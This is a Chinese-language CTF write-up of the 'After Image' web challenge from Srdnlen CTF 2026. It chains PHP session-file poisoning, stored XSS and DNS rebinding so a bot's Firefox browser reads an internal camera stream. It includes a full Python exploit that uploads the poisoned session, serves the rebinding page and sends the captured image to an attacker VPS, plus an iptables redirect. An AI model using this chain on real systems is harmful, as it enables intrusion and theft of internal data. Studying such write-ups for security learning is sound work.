CTFSrdnlenSrdnlen-CTF-2026-Quals
不是炒米线After Image
Session Poison
开始做这题时,团队成员已经完成了第一部分的Session投毒,这里快速过一下。
- profile.php 支持上传配置文件,并把文件直接移动到 /tmp/。
- PHP 默认会话文件同样位于临时目录,命名为 /tmp/sess_。
- web/php.ini 中启用了 session.use_only_cookies = 0 和 session.use_trans_sid = 1,因此可以通过 URL 参数 ?PHPSESSID=指定会话。
- 组合后可通过上传文件直接伪造任意会话文件,形成任意 $_SESSION 注入。
举个例子,上传文件名使用sess_victim123,内容使用 PHP 会话格式,例如 nickname|s:5:"hello";,访问 index.php?PHPSESSID=victim123 后页面会显示伪造值。
因为伪造的是原始 PHP 会话文件,不会经过 **htmlspecialchars()**,登陆后的Welcome back, <nickname>!构成了存储型 XSS。所以可直接把 <script>...</script> 写进 nickname、bio、motto 等会话字段,bot 访问对应 PHPSESSID 的页面时会执行脚本。
第二阶段需要让 bot 的 Firefox 浏览器去访问内网 camera 服务,但 flag 显示在 http://10.133.7.5/stream 的跨域 MJPEG 画面中,需要找到浏览器侧方法把跨域图像中的像素、文本或其等价信息泄露出来。
队员们已经尝试过:
- canvas 直接绘制后读取像素:被 SecurityError
- VideoFrame(img) / VideoFrame(canvas):有 same-origin 校验
- captureStream():tainted canvas 上直接拒绝
- 常规 SVG 包裹跨域图像后再 drawImage
- -moz-element() 的几种直接转图像/快照尝试
- 若干 SVG mask / foreignObject / feImage 探测路径
其中,结合 PixelThief原理,可以本地窃取图像,但远端只能获取红绿单色图像,或黑屏左上角图像损坏图标。

怀疑还是卡在CORS上。
Bypass CORS
审计bot逻辑
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| bot: async (urlToVisit) => { const context = await getContext() try { const page = await context.newPage();
console.log(`bot visiting ${urlToVisit}`); await page.goto(urlToVisit, { waitUntil: 'load', timeout: 10 * 1000 }); await sleep(75000);
console.log("browser close..."); return true; } catch (e) { console.error(e); return false; } finally { if (CONFIG.APPEXTENSIONS !== "") { await context.browser().close(); } else { await context.close(); } } }
|
注意到这里sleep了75秒,往常的XSS题目仅保留10~15s。当时我的想法是有两种可能:一种是利用漏洞侧信道泄漏、另一种是基于缓存(其实不是)。
第一种是有可能的,师傅们有给出阶段性Exp。但是我又看到了Dockerfile:
1 2 3 4 5 6 7 8 9 10 11
| FROM node:21
RUN apt-get update -y RUN npx playwright install-deps
RUN adduser bot
USER bot ARG BROWSER=firefox ENV BROWSER ${BROWSER} RUN npx playwright install $BROWSER
|
这 Firefox 用的都是最新版,如果是考查CVE,一般都会指定版本。所以我认为不太可能(其实是被师傅们那1070行的exp吓到了qwq,我都准备洗洗睡了)
那么第二种,基于缓存。之前不知道哪场比赛考到了Chrome的缓存机制,所以有些PTSD。但其实仔细想想,就一次XSS机会,也没什么能被缓存投毒的,打内存缓存肯定行不通。但是缓存又不只有页面能被缓存,沿着这个思路不难想到DNS Rebind。
如果能够实现两次DNS解析,那么CORS就有可能绕过了。
第一次绑定到VPS,获取XSS脚本,执行时再次请求DNS,绑定到10.133.7.5,此时,访问VPS和Camera就是同源的。查了一下,Firefox的默认DNS过期时间就是60s,意味着只需要在XSS过程中等待60s,就有机会欺骗CORS规则。
完整Payload如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136
| import requests import threading import time import sys import base64 from http.server import HTTPServer, BaseHTTPRequestHandler import random import string
TARGET = "http://afterimage.challs.srdnlen.it" VPS_IP = "YOUR VPS IP HERE" REBIND_DOMAIN = "CHANGEME.0a850705.rbndr.us" SESSION_ID = ''.join(random.choices(string.ascii_letters + string.digits, k=16))
XSS_IFRAME_URL = f"http://{REBIND_DOMAIN}/"
def get_rebind_html(): return f"""<!DOCTYPE html> <html> <head><meta charset="UTF-8"></head> <body> <h1>DNS Rebinding Wait 60s... then polling</h1> <script> // 60秒后开始轮询 setTimeout(() => {{ // 每 3 秒发起一次请求,直到成功命中 10.133.7.5 let timer = setInterval(() => {{ let img = new Image(); img.crossOrigin = "Anonymous"; img.onload = () => {{ clearInterval(timer); try {{ let c = document.createElement('canvas'); c.width = img.width; c.height = img.height; c.getContext('2d').drawImage(img, 0, 0); let b64 = c.toDataURL('image/jpeg'); fetch('http://{VPS_IP}:8001/', {{ method: 'POST', body: b64, mode: 'no-cors' }}); }} catch(e) {{ fetch('http://{VPS_IP}:8001/?err=' + encodeURIComponent(e.message), {{mode: 'no-cors'}}); }} }}; // 解析到了VPS,继续轮询 // 每次附加随机参数,强迫浏览器绕过图片缓存 img.src = '/stream?r=' + Math.random(); }}, 3000); }}, 61000); </script> </body> </html>"""
class PayloadDeliveryHandler(BaseHTTPRequestHandler): """ 运行在 8000 端口,负责下发 DNS 重绑定 HTML """ def do_GET(self): self.send_response(200) self.send_header("Content-Type", "text/html") self.send_header("Connection", "close") self.send_header("Cache-Control", "no-store, no-cache, must-revalidate, max-age=0") self.end_headers() self.wfile.write(get_rebind_html().encode())
def log_message(self, format, *args): print(f"[Port 8000] Bot requested DNS payload.")
class ExfilReceiverHandler(BaseHTTPRequestHandler): """ 运行在 8001 端口,负责接收 Bot 外带回来的 Flag 截图 """ def do_POST(self): length = int(self.headers.get("Content-Length", 0)) body = self.rfile.read(length) if body.startswith(b"data:image"): b64 = body.split(b",", 1)[1] with open("flag.jpg", "wb") as f: f.write(base64.b64decode(b64)) print(f"\n[!] 成功接收到 Camera 画面!已保存为 flag.jpg") self.send_response(200) self.end_headers()
def do_GET(self): print(f"\n[Port 8001] Bot 日志: {self.path}") self.send_response(200) self.end_headers()
def log_message(self, format, *args): pass
def run_server(handler, port): server = HTTPServer(("0.0.0.0", port), handler) server.serve_forever()
def main(): print("="*50) print(" DNS Rebinding All-in-One Exploit") print("="*50) threading.Thread(target=run_server, args=(PayloadDeliveryHandler, 8000), daemon=True).start() threading.Thread(target=run_server, args=(ExfilReceiverHandler, 8001), daemon=True).start() print("[+] 监听服务已启动: Port 8000 (Payload), Port 8001 (Exfil)")
xss_payload = f"<script>var ifr=document.createElement('iframe');ifr.src='{XSS_IFRAME_URL}';document.body.appendChild(ifr);</script>" php_val = f's:{len(xss_payload)}:"{xss_payload}";' session_data = f"nickname|{php_val}"
print(f"[*] 正在上传污染的 Session 文件 (sess_{SESSION_ID})...") requests.post( f"{TARGET}/profile.php?PHPSESSID=seed_upload", files={"config_file": (f"sess_{SESSION_ID}", session_data.encode(), "application/octet-stream")} )
print("[*] 正在向 Bot 提交受害 URL...") bot_url = f"http://afterimage-nginx/index.php?PHPSESSID={SESSION_ID}" requests.post(f"{TARGET}/report", data={"url": bot_url})
print("\n[+] 攻击链已完全触发,Bot 等待时间约为 75s。") print("[*] 倒计时 65s 等待 DNS 缓存刷新,请保持脚本运行...") try: while True: time.sleep(1) except KeyboardInterrupt: print("\n[*] 退出脚本") sys.exit(0)
if __name__ == "__main__": main()
|

这个脚本里,8000端口用于投放XSS,8001端口用于接收flag截图。需要注意的是,由于camera服务在10.133.7.5:80,因此投放XSS时也必须使用80端口。由于我的VPS上80端口already in use,所以需要配置一下端口重定向:
1 2 3 4
| iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-port 8000
|
哦对了,由于DNS Rebind存在不确定性,实际上成功率是比较低的。需要第一次解析到VPS上,第二次解析到Camera服务。多试几次总能成功的。(得研究一下自建DNS Rebind了)

1
| srdnlen{s4me_0rig1n_is_b0ring_as_h3ll}
|
same origin is boring as hell! qwq